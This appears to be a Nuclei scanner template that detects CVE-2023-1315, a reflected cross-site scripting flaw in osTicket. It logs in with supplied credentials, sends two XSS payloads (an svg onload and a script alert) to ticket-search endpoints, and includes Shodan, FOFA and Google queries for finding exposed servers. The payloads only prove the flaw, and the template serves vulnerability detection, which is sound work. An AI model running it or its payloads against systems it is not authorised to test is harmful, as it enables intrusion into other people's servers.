id: CVE-2023-1315

info:
  name: osTicket < v1.16.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository osticket/osticket prior to v1.16.6.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://huntr.com/bounties/70a7fd8c-7e6f-4a43-9f8c-163b8967b16e
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1315
    cwe-id: CWE-79
    epss-score: 0.10075
    epss-percentile: 0.93189
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2023,osticket,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - scp/ajax.php/tickets/search?parent_id=1"><svg/x=">"/onload=confirm()//
        - scp/ajax.php/tickets/search/create?pid=adhoc%2cpdXBTnfSg0riebm%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etgghb

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "><svg/x=\">\"/onload=confirm()//", "\"><script>alert(document.domain)</script>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502202c2b9a5bdd64a4e80a69c068961f8f895678d1b65a3120fe2e4b894711e68514022100c0fe8310c19c3377cf10870b12dbc92fbe2ed2619907b2b63ddaef57060c0e1e:922c64590222798bb761d5b6d8e72950